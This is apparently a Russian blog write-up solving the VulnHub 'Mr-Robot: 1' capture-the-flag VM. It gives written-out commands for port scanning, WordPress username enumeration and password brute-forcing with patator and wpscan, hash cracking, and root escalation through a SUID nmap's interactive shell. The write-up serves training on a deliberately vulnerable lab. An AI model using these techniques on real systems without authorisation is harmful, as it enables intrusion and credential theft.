Pull to refresh

VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot

Reading time 2 min
Views 28K


Я думаю многие смотрели сериал Mr. Robot, с каждым сезоном, о нем узнаёт всё больше народу, вот и VulnHub не остался в стороне. И не так уж давно там появилась Boot2Root виртуальная машина Mr-Robot: 1. Её решение, мы сегодня и рассмотрим.

Реверса тут не будет, но будет несколько примеров демонстрирующих, то как из-за не верного назначения прав на критически важные файлы, ваша система может быть взломана. И так, начнём, нужно добыть 3 ключа.

Ключ 1


Получаем список портов, уже известным нам способом:

$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV

80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd

Далее запустим robotscan, который мы уже применяли в одной из статей:

$ ./robotscan.py -u 'http://192.168.1.29' -e txt,php -w /usr/share/dirb/wordlists/big.txt -x 403



Первый ключ:

$ curl http://192.168.1.29/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

Ключ 2


Как вы заметили, там есть ещё 1 не типичный для WordPress файл: fsocity.dic. Как выяснилось, это уже готовый словарь для брута. Осталось удалить из него дубликаты:

$ sort -u fsocity.dic > fsocity_sort.dic

WPScan отказался искать доступных пользователей, поэтому придется это делать другим способом:
P.S. WPScan проверяет URL вида: target_url/?author=$id
В то время, как по умолчанию, при авторизации, скрипт wp-login.php возвращает «Invalid username» в случае если пользователь не найден, и «The password you entered for the username $username is incorrect»

$ sudo patator http_fuzz url=http://192.168.1.29/wp-login.php method=POST body='log=FILE0&pwd=nn&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.29%2Fwp-admin%2F&testcookie=1' follow=1 accept_cookie=1 0=./fsocity_sort.dic -x ignore:fgrep='Invalid username'

И спустя некоторое время получаем вывод:
22:28:26 patator INFO — 200 4093:3643 0.262 | Elliot | 5474 | HTTP/1.1 200 OK
22:28:26 patator INFO — 200 4093:3643 0.276 | elliot | 5473 | HTTP/1.1 200 OK
22:28:27 patator INFO — 200 4093:3643 0.235 | ELLIOT | 5475 | HTTP/1.1 200 OK

Логин есть, осталось подобрать пароль. В качестве словаря, воспользуемся тем же файлом:

$ sudo ./wpscan.rb --url 192.168.1.29 --threads 50 --wordlist ./fsocity_sort.dic --username elliot



Прокинем себе шелл через Metasploit:



Первым делом изучаем содержимое директории с пользователями:



Ключ здесь, но нужны креды пользователя robot. Открыв второй доступный файл, находим нужную нам информацию:

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Осталось расшифровать MD5 на ближайшем онлайн сервисе: abcdefghijklmnopqrstuvwxyz.

Логинимся в виртуалке и получаем второй ключ:



Ключ 3


Третий ключ вероятно расположен у пользователя root. Посмотрим доступные SUID приложения:

$ find / -perm -4000 2>/dev/null



Ничего не обычного, кроме nmap'а. После запуска без параметров, получаем справку, и потенциальную уязвимость:



Как сказал бы MrRobot:
Взломать их было легко, они использовали старую версию nmap'а с поддержкой интерактивного режима, и не верно выставленные права, так что я с легкостью получил root доступ

$ nmap --interactive



Из интерактивного режима запускаем командную оболочку !sh, и забираем последний ключ:



Вот и всё. Очередное подтверждение тому, как не верное разграничение прав, приводит к компрометации системы!
Tags:
Hubs:
+14
Comments 0
Comments Leave a comment

Articles